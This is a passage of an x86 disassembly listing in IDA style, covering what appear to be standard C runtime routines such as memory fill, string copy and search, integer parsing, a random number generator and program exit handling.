CODE XREF: sub_41B4A2+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F32D add esp, 10h retn sub_41B4A2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+58AEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B4A2 add esp, 0Ch retn sub_41B4C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40AB31+63p ... arg_0 = dword ptr 4 push dword_4DB2FC push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41B4D5 endp ; =============== S U B R O U T I N E ======================================= sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap ; sub_41CFC5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41B510 loc_41B4EE: ; CODE XREF: sub_41B4E7+27j push [esp+arg_0] call sub_41B513 test eax, eax pop ecx jnz short locret_41B512 cmp [esp+arg_4], eax jz short locret_41B512 push [esp+arg_0] call sub_41F312 test eax, eax pop ecx jnz short loc_41B4EE loc_41B510: ; CODE XREF: sub_41B4E7+5j xor eax, eax locret_41B512: ; CODE XREF: sub_41B4E7+13j ; sub_41B4E7+19j retn sub_41B4E7 endp ; =============== S U B R O U T I N E ======================================= sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp arg_0 = dword ptr 4 mov eax, dword_4DC908 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B537 cmp esi, dword_4DC900 ja short loc_41B569 push esi call sub_41E1CB test eax, eax pop ecx jz short loc_41B569 pop esi retn ; --------------------------------------------------------------------------- loc_41B537: ; CODE XREF: sub_41B513+Dj cmp eax, 2 jnz short loc_41B569 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B54C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B513+2Fj push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B513+37j cmp esi, dword_43C2F4 ja short loc_41B576 mov eax, esi shr eax, 4 push eax call sub_41EC6E test eax, eax pop ecx jnz short loc_41B585 jmp short loc_41B576 ; --------------------------------------------------------------------------- loc_41B569: ; CODE XREF: sub_41B513+15j ; sub_41B513+20j ... test esi, esi jnz short loc_41B570 push 1 pop esi loc_41B570: ; CODE XREF: sub_41B513+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B576: ; CODE XREF: sub_41B513+42j ; sub_41B513+54j push esi push 0 push dword_4DC904 nop call near ptr 2790000h loc_41B585: ; CODE XREF: sub_41B513+52j pop esi retn sub_41B513 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B5E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B5D7 neg ecx and ecx, 3 jz short loc_41B5B9 sub edx, ecx loc_41B5B3: ; CODE XREF: sub_41B590+27j mov [edi], al inc edi dec ecx jnz short loc_41B5B3 loc_41B5B9: ; CODE XREF: sub_41B590+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B5D7 rep stosd test edx, edx jz short loc_41B5DD loc_41B5D7: ; CODE XREF: sub_41B590+18j ; sub_41B590+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B5D7 loc_41B5DD: ; CODE XREF: sub_41B590+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B5E3: ; CODE XREF: sub_41B590+Aj mov eax, [esp+arg_0] retn sub_41B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B5F0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B673 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B614 shr ecx, 2 jnz short loc_41B681 jmp short loc_41B635 ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B5F0+1Bj ; sub_41B5F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B642 test al, al jz short loc_41B64A test esi, 3 jnz short loc_41B614 mov ebx, ecx shr ecx, 2 jnz short loc_41B681 loc_41B630: ; CODE XREF: sub_41B5F0+8Fj and ebx, 3 jz short loc_41B642 loc_41B635: ; CODE XREF: sub_41B5F0+22j ; sub_41B5F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B66E dec ebx jnz short loc_41B635 loc_41B642: ; CODE XREF: sub_41B5F0+2Bj ; sub_41B5F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj test edi, 3 jz short loc_41B664 loc_41B652: ; CODE XREF: sub_41B5F0+72j mov [edi], al inc edi dec ecx jz loc_41B6E6 test edi, 3 jnz short loc_41B652 loc_41B664: ; CODE XREF: sub_41B5F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B6D7 loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj ; sub_41B5F0+F4j mov [edi], al inc edi loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj dec ebx jnz short loc_41B66B pop ebx pop esi loc_41B673: ; CODE XREF: sub_41B5F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B679: ; CODE XREF: sub_41B5F0+A9j ; sub_41B5F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B630 loc_41B681: ; CODE XREF: sub_41B5F0+20j ; sub_41B5F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B679 test dl, dl jz short loc_41B6CB test dh, dh jz short loc_41B6C1 test edx, 0FF0000h jz short loc_41B6B7 test edx, 0FF000000h jnz short loc_41B679 mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj xor edx, edx mov [edi], edx loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j ; sub_41B5F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B6E1 loc_41B6D7: ; CODE XREF: sub_41B5F0+79j xor eax, eax loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B6D9 loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j and ebx, 3 jnz short loc_41B66B loc_41B6E6: ; CODE XREF: sub_41B5F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B5F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B6EE proc near ; CODE XREF: sub_41B779+4p ; sub_4247EC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41B6F6: ; CODE XREF: sub_41B6EE+34j cmp dword_43C504, 1 jle short loc_41B70E movzx eax, byte ptr [edi] push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41B71D ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B6EE+Fj movzx eax, byte ptr [edi] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 8 loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej test eax, eax jz short loc_41B724 inc edi jmp short loc_41B6F6 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B6EE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41B734 cmp esi, 2Bh jnz short loc_41B738 loc_41B734: ; CODE XREF: sub_41B6EE+3Fj movzx esi, byte ptr [edi] inc edi loc_41B738: ; CODE XREF: sub_41B6EE+44j xor ebx, ebx loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj cmp dword_43C504, 1 jle short loc_41B74F push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41B75A ; --------------------------------------------------------------------------- loc_41B74F: ; CODE XREF: sub_41B6EE+53j mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj test eax, eax jz short loc_41B76B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41B73A ; --------------------------------------------------------------------------- loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41B774 neg eax loc_41B774: ; CODE XREF: sub_41B6EE+82j pop edi pop esi pop ebp pop ebx retn sub_41B6EE endp ; =============== S U B R O U T I N E ======================================= sub_41B779 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+733p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B6EE pop ecx retn sub_41B779 endp ; --------------------------------------------------------------------------- mov eax, off_43A29C test eax, eax jz short loc_41B78F call eax ; sub_41C748 loc_41B78F: ; CODE XREF: ___:0041B78Bj push offset dword_42902C push offset dword_429018 call sub_41B86C push offset dword_429014 push offset dword_429000 call sub_41B86C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41B7D3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp ; sub_42255C+2276p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41B7D3 add esp, 0Ch retn sub_41B7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p ; sub_41B7C2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DB2C0, edi jnz short loc_41B7F0 push [esp+4+arg_0] nop call near ptr 2700598h push eax nop call near ptr 26F0A14h loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DB2BC, edi mov byte_4DB2B8, bl jnz short loc_41B844 mov eax, dword_4DC91C test eax, eax jz short loc_41B833 mov ecx, dword_4DC918 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41B832 loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj mov eax, [esi] test eax, eax jz short loc_41B827 call eax loc_41B827: ; CODE XREF: sub_41B7D3+50j sub esi, 4 cmp esi, dword_4DC91C jnb short loc_41B81F loc_41B832: ; CODE XREF: sub_41B7D3+4Aj pop esi loc_41B833: ; CODE XREF: sub_41B7D3+3Cj push offset dword_429038 push offset dword_429030 call sub_41B86C pop ecx pop ecx loc_41B844: ; CODE XREF: sub_41B7D3+33j push offset dword_429044 push offset dword_42903C call sub_41B86C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41B86A push [esp+4+arg_0] mov dword_4DB2C0, edi nop call near ptr 77E75CB5h loc_41B86A: ; CODE XREF: sub_41B7D3+85j pop edi retn sub_41B7D3 endp ; =============== S U B R O U T I N E ======================================= sub_41B86C proc near ; CODE XREF: ___:0041B799p ; ___:0041B7A8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41B871: ; CODE XREF: sub_41B86C+16j cmp esi, [esp+4+arg_4] jnb short loc_41B884 mov eax, [esi] test eax, eax jz short loc_41B87F call eax loc_41B87F: ; CODE XREF: sub_41B86C+Fj add esi, 4 jmp short loc_41B871 ; --------------------------------------------------------------------------- loc_41B884: ; CODE XREF: sub_41B86C+9j pop esi retn sub_41B86C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B886 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B8C6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8C6: ; CODE XREF: sub_41B886+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B8D3: ; CODE XREF: sub_41B886+3Ej mov eax, esi pop esi leave retn sub_41B886 endp ; =============== S U B R O U T I N E ======================================= sub_41B8D8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+31A2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A280, eax retn sub_41B8D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43A280 imul eax, 343FDh add eax, 269EC3h mov dword_43A280, eax sar eax, 10h and eax, 7FFFh retn sub_41B8E2 endp ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41B97A mov dh, [ecx+1] test dh, dh jz short loc_41B967 loc_41B918: ; CODE XREF: sub_41B900+52j ; sub_41B900+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41B93A test al, al jz short loc_41B934 loc_41B929: ; CODE XREF: sub_41B900+32j mov al, [esi] inc esi loc_41B92C: ; CODE XREF: sub_41B900+3Fj cmp al, dl jz short loc_41B93A test al, al jnz short loc_41B929 loc_41B934: ; CODE XREF: sub_41B900+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B93A: ; CODE XREF: sub_41B900+23j ; sub_41B900+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41B92C lea edi, [esi-1] loc_41B944: ; CODE XREF: sub_41B900+63j mov ah, [ecx+2] test ah, ah jz short loc_41B973 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41B918 mov al, [ecx+3] test al, al jz short loc_41B973 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41B944 jmp short loc_41B918 ; --------------------------------------------------------------------------- loc_41B967: ; CODE XREF: sub_41B900+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41BFB6 ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B900+49j ; sub_41B900+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41B97A: ; CODE XREF: sub_41B900+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41B900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B980 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C72p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B9BF mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B9CC ; --------------------------------------------------------------------------- loc_41B9BF: ; CODE XREF: sub_41B980+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B9CC: ; CODE XREF: sub_41B980+3Dj mov eax, esi pop esi leave retn sub_41B980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+21D1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41AFE0 cmp eax, 1 pop ecx jb short loc_41BA0C cmp byte ptr [ebx+1], 3Ah jnz short loc_41BA0C mov esi, [ebp+arg_4] test esi, esi jz short loc_41BA08 push 2 push ebx push esi call sub_420289 add esp, 0Ch and byte ptr [esi+2], 0 loc_41BA08: ; CODE XREF: sub_41B9D1+25j inc ebx inc ebx jmp short loc_41BA16 ; --------------------------------------------------------------------------- loc_41BA0C: ; CODE XREF: sub_41B9D1+18j ; sub_41B9D1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41BA16 and byte ptr [eax], 0 loc_41BA16: ; CODE XREF: sub_41B9D1+39j ; sub_41B9D1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41BA8E loc_41BA29: ; CODE XREF: sub_41B9D1+87j mov cl, [eax] movzx edx, cl test byte_4DC7E1[edx], 4 jz short loc_41BA3A inc eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA3A: ; CODE XREF: sub_41B9D1+64j cmp cl, 2Fh jz short loc_41BA4E cmp cl, 5Ch jz short loc_41BA4E cmp cl, 2Eh jnz short loc_41BA54 mov [ebp+var_4], eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj ; sub_41B9D1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41BA54: ; CODE XREF: sub_41B9D1+67j ; sub_41B9D1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41BA29 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41BA8E cmp [ebp+arg_8], 0 jz short loc_41BA89 sub edi, ebx cmp edi, esi jb short loc_41BA72 mov edi, esi loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj push edi push ebx push [ebp+arg_8] call sub_420289 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BA89: ; CODE XREF: sub_41B9D1+97j mov ebx, [ebp+arg_4] jmp short loc_41BA98 ; --------------------------------------------------------------------------- loc_41BA8E: ; CODE XREF: sub_41B9D1+56j ; sub_41B9D1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41BA98 and byte ptr [ecx], 0 loc_41BA98: ; CODE XREF: sub_41B9D1+BBj ; sub_41B9D1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41BAEB cmp edi, ebx jb short loc_41BAEB cmp [ebp+arg_C], 0 jz short loc_41BAC8 sub edi, ebx cmp edi, esi jb short loc_41BAB1 mov edi, esi loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj push edi push ebx push [ebp+arg_C] call sub_420289 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41BB13 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41BAD8 mov esi, eax loc_41BAD8: ; CODE XREF: sub_41B9D1+103j push esi push [ebp+var_4] push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41BB13 ; --------------------------------------------------------------------------- loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj ; sub_41B9D1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41BB09 sub eax, ebx cmp eax, esi jnb short loc_41BAFA mov esi, eax loc_41BAFA: ; CODE XREF: sub_41B9D1+125j push esi push ebx push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41BB13 and byte ptr [eax], 0 loc_41BB13: ; CODE XREF: sub_41B9D1+FCj ; sub_41B9D1+118j ... pop edi pop esi pop ebx leave retn sub_41B9D1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BB20 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BB40 loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BB2C loc_41BB40: ; CODE XREF: sub_41BB20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep ; sub_401ACD+75ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41BB63 xor eax, eax jmp short loc_41BB99 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB4F+Ej dec [ebp+arg_4] push esi jz short loc_41BB93 mov esi, [ebp+arg_8] loc_41BB6C: ; CODE XREF: sub_41BB4F+42j dec dword ptr [esi+4] js short loc_41BB7B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41BB82 ; --------------------------------------------------------------------------- loc_41BB7B: ; CODE XREF: sub_41BB4F+20j push esi call sub_41F043 pop ecx loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41BB9D mov [edi], al inc edi cmp al, 0Ah jz short loc_41BB93 dec [ebp+arg_4] jnz short loc_41BB6C loc_41BB93: ; CODE XREF: sub_41BB4F+18j ; sub_41BB4F+3Dj ... and byte ptr [edi], 0 loc_41BB96: ; CODE XREF: sub_41BB4F+55j mov eax, ebx pop esi loc_41BB99: ; CODE XREF: sub_41BB4F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BB9D: ; CODE XREF: sub_41BB4F+36j cmp edi, [ebp+arg_0] jnz short loc_41BB93 xor ebx, ebx jmp short loc_41BB96 sub_41BB4F endp ; =============== S U B R O U T I N E ======================================= sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BBA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep ; sub_41BDC5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41BBD5: ; CODE XREF: sub_41BBBD+46j cmp dword_43C504, 1 jle short loc_41BBED movzx eax, bl push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41BBFC ; --------------------------------------------------------------------------- loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej test eax, eax jz short loc_41BC05 mov bl, [esi] inc esi jmp short loc_41BBD5 ; --------------------------------------------------------------------------- loc_41BC05: ; CODE XREF: sub_41BBBD+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41BC13 or [ebp+arg_C], 2 jmp short loc_41BC18 ; --------------------------------------------------------------------------- loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej cmp bl, 2Bh jnz short loc_41BC1E loc_41BC18: ; CODE XREF: sub_41BBBD+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41BC1E: ; CODE XREF: sub_41BBBD+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41BDB5 cmp eax, 1 jz loc_41BDB5 cmp eax, 24h jg loc_41BDB5 push 10h test eax, eax pop ecx jnz short loc_41BC66 cmp bl, 30h jz short loc_41BC50 mov [ebp+arg_8], 0Ah jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: sub_41BBBD+88j mov al, [esi] cmp al, 78h jz short loc_41BC63 cmp al, 58h jz short loc_41BC63 mov [ebp+arg_8], 8 jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC63: ; CODE XREF: sub_41BBBD+97j ; sub_41BBBD+9Bj mov [ebp+arg_8], ecx loc_41BC66: ; CODE XREF: sub_41BBBD+83j cmp [ebp+arg_8], ecx jnz short loc_41BC82 cmp bl, 30h jnz short loc_41BC82 mov al, [esi] cmp al, 78h jz short loc_41BC7A cmp al, 58h jnz short loc_41BC82 loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41BC82: ; CODE XREF: sub_41BBBD+91j ; sub_41BBBD+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj cmp dword_43C504, 1 movzx esi, bl jle short loc_41BCAA push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCB5 ; --------------------------------------------------------------------------- loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj test eax, eax jz short loc_41BCC1 movsx ecx, bl sub ecx, 30h jmp short loc_41BCF3 ; --------------------------------------------------------------------------- loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj cmp dword_43C504, 1 jle short loc_41BCD5 push edi push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCE0 ; --------------------------------------------------------------------------- loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj mov eax, off_43C2F8 mov ax, [eax+esi*2] and eax, edi loc_41BCE0: ; CODE XREF: sub_41BBBD+116j test eax, eax jz short loc_41BD2E movsx eax, bl push eax call sub_420313 pop ecx mov ecx, eax sub ecx, 37h loc_41BCF3: ; CODE XREF: sub_41BBBD+102j cmp ecx, [ebp+arg_8] jnb short loc_41BD2E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41BD18 jnz short loc_41BD12 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41BD18 loc_41BD12: ; CODE XREF: sub_41BBBD+147j or [ebp+arg_C], 4 jmp short loc_41BD21 ; --------------------------------------------------------------------------- loc_41BD18: ; CODE XREF: sub_41BBBD+145j ; sub_41BBBD+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41BD21: ; CODE XREF: sub_41BBBD+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41BC92 ; --------------------------------------------------------------------------- loc_41BD2E: ; CODE XREF: sub_41BBBD+125j ; sub_41BBBD+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41BD4C test edx, edx jz short loc_41BD46 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41BD46: ; CODE XREF: sub_41BBBD+181j and [ebp+var_8], 0 jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41BD72 test cl, 1 jnz short loc_41BD99 and ecx, 2 jz short loc_41BD69 cmp [ebp+var_8], 80000000h ja short loc_41BD72 loc_41BD69: ; CODE XREF: sub_41BBBD+1A1j test ecx, ecx jnz short loc_41BD99 cmp [ebp+var_8], eax jbe short loc_41BD99 loc_41BD72: ; CODE XREF: sub_41BBBD+197j ; sub_41BBBD+1AAj test byte ptr [ebp+arg_C], 1 mov 